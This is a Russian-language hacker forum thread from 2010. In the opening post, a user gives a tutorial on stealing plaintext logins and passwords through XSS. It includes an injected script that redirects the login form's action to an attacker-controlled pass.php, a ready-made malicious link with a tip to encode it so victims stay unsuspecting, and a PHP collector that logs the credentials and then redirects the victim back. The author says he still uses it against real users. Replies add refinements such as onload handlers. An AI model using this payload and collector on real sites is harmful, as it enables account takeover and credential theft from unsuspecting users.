Старый 07.07.2010, 00:54   #1
Shadow
 
Регистрация: 02.07.2010
Сообщений: 35
Репутация: 55
По умолчанию Xss. Похищение аутентификационных данных.

Похищение аутентификационных данных с помощью XSS.

Введение.
В статье рассматривается один из методов применения уязвимости типа XSS. Хотя данный метод не претендует на новизну, он все еще остается достаточно эффективным инструментом реализации XSS. При этом на примере реализации данного метода, на мой взгляд достаточно просто воспринимается понятие уязвимости XSS на практике.
А повторение, как говорится, мать учения!
Опять же хотелось бы опровергнуть мнение, что XSS - это только лишь похищение куки!
Данный метод родился в моей голове много лет назад, как давно это было, еще во времена олдскул хакеров таких, как Algol, Elect, Blackybr и т.д.... Чет я отвлекся, и так , однажды я наткнулся на пользователя у которого стоял запрет на использование куки в браузере, а получить доступ к его акку на определенном сайте очень хотелось, тем более там присутствовала xss, сейчас не помню пассивная или нет. В результате данный метод я использую успешно и по сей день .
Сразу хочу оговориться, что в данной статье я не буду описывать что из себя представляют XSS атаки в полном объеме, а так же все давно известные методы атак на их основе.

Немного теории.
Вначале дадим некоторые определения, которые на мой взгляд наиболее кратко и понятно описывают XSS.

Аутентификационные данные
- в контексте данной статьи представляют из себя логин и пароль пользователя веб-системы.

Межсайтовый скриптинг (Cross Site Scripting, XSS) – уязвимость, возникающая вследствие недостаточной фильтрации данных, переданных одним пользователем с последующим их выводом другим пользователям системы.

XSS-атака – это реализация угрозы безопасности Веб-систем на основе уязвимости типа межсайтового скриптинга.

Активная XSS (сохраненная) – уязвимость, возникающая вследствие недостаточной фильтрации данных, переданных одним пользователем, сохраненных в системе и доступных для вывода другим пользователям системы.

Пассивная XSS (переданная) – уязвимость, возникающая вследствие недостаточной фильтрации данных, переданных системе в параметрах HTTP-запроса с последующим их выводом в HTML-страницу.

Анализ.
Существующие методы реализации угроз похищения идентификационной сессии и cookie, имеют следующие недостатки при использовани:

• отсутствие аутентификационных данных в полном объеме. Обычно в куки хранится признак аутентификации (например некий ключ, идентификатор), а не сами данные (логин и пароль);

• временные ограничения. Похищение идентификатора сессии позволяет получить права пользователя только на время продолжительности сеанса, установленного в системе, после чего идентификатор меняется и необходимо вновь его получать;

• вероятное раскрытие атаки. Получив частичные аутентификационные данные, например идентификатор сессии, и соответственно, временно, права пользователя системы, атакующий имеет возможность сменить аутентификационные данные пользователя, что может повлечь за собой, раскрытие его присутствия в системе в момент, когда пользователь попытается войти в систему, используя свои данные;

• отсутствие куки. Даже если уязвимость присутствует в системе, то по различным причинам (политика безопасности) поддержка куки может быть запрещена в самой системе или отключена их поддержка в настройках браузера пользователя.

Известные методы реализации угроз подмены информации, изменения структуры и функциональности системы имеют следующие недостатки при получении аутентификационных данных:

• изменение интерфейса системы. Изменение структуры или функциональности может повлечь нарушение нормальной работы системы, что в свою очередь может привести к визуальным изменениям интерфейса и вызвать подозрения пользователей;

• изменение адреса. При переводе пользователя на подставную систему, имеющую точную копию как по дизайну, так и функциональности, в адресной строке браузера изменится адрес реальной системы, что также вызовет подозрения пользователей;

• трудоемкость реализации. При перенаправлении пользователя на подставную систему, при подмене реальной формы авторизации на собственную форму или внедрении элемента, копирующего дизайн оригинальной страницы системы, возникает трудоемкая работа по созданию точной копии дизайна и идентичной функциональности системы;

• ограничение уязвимых параметров. При подмене реальной формы авторизации на собственную форму или внедрении элемента, копирующего дизайн оригинальной страницы системы, необходимо внедрить через уязвимый параметр достаточно большой по размеру скриптовый сценарий, что не всегда допустимо в системе (например если уязвимый параметр “имя пользователя” ограничен 20 символами).

Метод.
Предложенный метод похищения аутентификационных данных основан на особенностях механизма обработки объектной модели документа (Document Object Model, DOM) в формате HTML, используемого браузерами и другими приложениями в соответствии со спецификацией языка гипертекстовой разметки HTML. При разборе структуры и построении объектного дерева документа, для дальнейшей интерпретации, браузер осуществляет анализ данных в документе, проходя от начала до конца один раз. Как и во многих языках программирования синтаксис языка HTML позволяет переопределять значения объектов на протяжении всего документа. Окончательным значением каждого элемента объектного дерева, построенного браузером при анализе документа, является значение присвоенное элементу последним в коде страницы. Основная идея предложенного метода заключается в переопределении реального функционала подсистемы аутентификации, определенного разработчиками в Веб-интерфейсе системы, на собственный функционал. Следовательно необходимым условием для реализации предложенного метода является расположение уязвимого параметра после определения функционала подсистемы аутентификации в документе.

Рассмотрим технологию реализации предложенного метода на примере абстрактной Веб-системы.
Система имеет некоторый Веб-интерфейс, а так же подсистему аутентификации, включающую форму аутентификации и обработчик этой формы соответственно. Перед началом работы в системе пользователю необходимо пройти авторизацию, для этого он запрашивает странницу по адресу http://www.site.com/auth.html, содержащую стандартную форму аутентификации.

В данной форме пользователь вводит свои идентификационные и аутентификационные данные, а именно имя и пароль. После нажатия кнопки подтверждения данные передаются обработчику формы аутентификации auth.php, расположенному на Веб-сервере, для дальнейшей авторизации пользователя в системе.
Рассмотрим фрагмент кода формы аутентификации страницы auth.html:
Код:
...
<form action=”auth.php” name=“auth“ method=”post”>
…
<input type=“text” name=”login” value=””>
…
<input type=“password” name=”password” value=””>
…
</form>
…
Рассмотрим реализацию метода на примере пассивной XSS, предположим, что уязвим параметр login.

Код:
…
<input type=“text” name=”login” value=””>JavaScript code”>
…
Мы принудительно закрываем тег элемента ввода login, тем самым разрывая DOM структуру документа и разрушая функционал страницы, заложенный разработчиками. Дальнейший текст введенный нами после пары символов закрывающей двойной кавычки и скобки, будет восприниматься браузером как полноценный код скрипта. Таким образом мы получаем полный контроль над кодом скрипта загружаемым в браузер после нашего внедрения в поле имени.
Основная идея предложенного метода заключается в возможности переопределения обработчика формы аутентификации, определенного в значении параметра action, тега form. Это можно реализовать с помощью следующего JavaScript кода:

Код:
<script>document.auth.action=‘http://server/pass.php’</script>
В данном случае происходит присвоение нового значения параметру action элемента с именем auth, являющегося формой в объекте document. Внедрив этот скрипт в GET параметр login после закрытия тега элемента ввода, необходимо отправить эту ссылку целевому пользователю системы. Ссылка будет иметь следующий вид:

Код:
http://www.site.com/auth.html?login=“><script>document.auth.action=
‘http://server/pass.php’</script>
Для избавления пользователя от подозрений, текст ссылки можно закодировать и передавать в виде escape последовательности.
При переходе пользователя по нашей ссылке, у него в браузере отобразиться страница аутентификации системы, внешне идентичная оригинальной странице. Но ее исходный код будет содержать внедренный нами JavaScript код. Рассмотрим интересующий нас фрагмент исходного кода страницы, загруженной пользователем.

Код:
...
<form action=“auth.php" name=“auth“ method="post">
<input type=“text" name=“login" value="">
<script>document.auth.action=‘http://server/pass.php’</script>”> 
…
</form>
…
Как было отмечено ранее, при обработке страницы браузер анализирует переданный HTML код один раз. Таким образом, при анализе исходного кода, браузер определит в качестве обработчика формы аутентификации реальный скрипт auth.php, а затем выполнит код расположенный после тега элемента ввода. Данный код, внедренный нами в страницу, переопределит обработчик формы аутентификации на скрипт http://server/pass.php, расположенный на удаленном сервере. В результате таких действий аутентификационные данные введенные пользователем, после нажатия кнопки “submit” отправятся нашему скрипту в POST параметрах login и password.

Дальнейшая задача скрипта расположенного на удаленном сервере, заключается в приеме, обработке и сохранении POST параметров login и password. Некоторые ключевые фрагменты скрипта будут иметь следующий вид:

Код:
…
$fd = fopen($file,"a");
…
fputs($fd, " login: ".$_POST['login']." password:".$_POST['password']);
…
fclose($fd);
…
echo 
"<script>
document.location.replace('http://www.site.com/auth.html’);
</script>"
Полученные аутентификационные данные благополучно сохраняются в файл. Для избавления от демаскирующих факторов, пользователь сразу же перенаправляется на нормальную страницу с формой аутентификации. При этом на страницу с формой аутентификации отправляются только что перехваченные данные и пользователь продолжает работу в системе под своим аккаунтом.

Код:
document.location.replace('http://www.site.com/auth.html?login=[полученные данные]&password=[полученные данные]’);
</script>"
Заключение.
В заключении хотелось бы отметить некоторые свойства предложенного метода:

1. Получения аутентификационных данных(логин и пароль) в явном виде, без особых усилий. В отличии от кражи куков более надежная информация.
2. От фейка(подмены страницы) отличается меньшей палевностью, т.к. адрес не меняется в адресной строке, а так же трудоемкостью, не надо поднимать похожую страницу.
3. Если xss активная, то собираются все данные всех пользователей, а не только целевого.
А так же необходимо отметить аналогичное использование в активных XSS.
При этом не надо забывать, что метод проходит для любого уязвимого параметра на странице с формой аутентификации, например, как это обычно бывает в форме поиска по сайту.
Shadow вне форума   Ответить с цитированием
Старый 08.07.2010, 04:02   #2
Магараджи
 
Регистрация: 08.07.2010
Сообщений: 3
Репутация: 0
По умолчанию

Много расписано, много... даже про олдскул упоминание есть, а смысл статейки сводится к функции яваскрипта document.auth.action о которой мало кто слышал.
что есть document.cookie - знаем, тут долго пояснять не надо, про document.auth.action аналогично.

В любом случае спасибо за раскрытый хороший способ получать не только кукисы, но ещё и логин\пароли в открытом виде.
Магараджи вне форума   Ответить с цитированием
Старый 08.07.2010, 06:37   #3
Ctacok
 
Аватар для Ctacok
 
Регистрация: 06.07.2010
Сообщений: 127
Репутация: 49
По умолчанию

Впринципе, не новость, я уже как-то делал так.https://forum.antichat.ru/showpost.php?p=2110575&postcount=382
Ctacok вне форума   Ответить с цитированием
Старый 24.07.2010, 01:05   #4
SulikoshkA
 
Регистрация: 22.07.2010
Сообщений: 5
Репутация: 0
По умолчанию

эх лучше бы описал программы для поиска xss
имхо больше заинтересовало
а так статейка +
SulikoshkA вне форума   Ответить с цитированием
Старый 24.07.2010, 03:11   #5
Feldmarschall
 
Аватар для Feldmarschall
 
Регистрация: 06.07.2010
Сообщений: 30
Репутация: 2
По умолчанию

Цитата:
Сообщение от SulikoshkA Посмотреть сообщение
эх лучше бы описал программы для поиска xss
имхо больше заинтересовало
google:// чем мешает?
__________________
В тюрьмах России половина невиновных

Feldmarschall вне форума   Ответить с цитированием
Старый 30.07.2010, 00:19   #6
M@ZAX@KEP
 
Аватар для M@ZAX@KEP
 
Регистрация: 24.07.2010
Сообщений: 139
Репутация: 5
По умолчанию

Цитата:
При этом не надо забывать, что метод проходит для любого уязвимого параметра на странице с формой аутентификации, например, как это обычно бывает в форме поиска по сайту.
А разве ядовитый скрипт не должен находиться в коде после определения формы авторизации? Просто поиск обычно в самом верху страницы... или местоположение скрипта не имеет значения?
M@ZAX@KEP вне форума   Ответить с цитированием
Старый 30.07.2010, 10:47   #7
oRb
 
Аватар для oRb
 
Регистрация: 01.07.2010
Сообщений: 319
Репутация: 138
По умолчанию

Цитата:
Сообщение от M@ZAX@KEP Посмотреть сообщение
А разве ядовитый скрипт не должен находиться в коде после определения формы авторизации? Просто поиск обычно в самом верху страницы... или местоположение скрипта не имеет значения?
В данном примере - да. Но никто не запрещает использовать обработчики события загрузки страницы.
__________________
Не оказываю никаких услуг.
I don't provide any services.
oRb вне форума   Ответить с цитированием
Старый 30.07.2010, 12:45   #8
Qwazar
 
Регистрация: 09.07.2010
Сообщений: 376
Репутация: 154
По умолчанию

Цитата:
Сообщение от xCedz Посмотреть сообщение
а на счет поиска просто в веб приложении- полно утилит автоматом подставляющих alertы ))
Причём начинающим, использовать эти утилиты строго запрещено! Они нужны не хакерам, а тем, кто хочет проверить свой сайт хоть как нибудь.
__________________
Мой блог: http://qwazar.ru/.
Qwazar вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot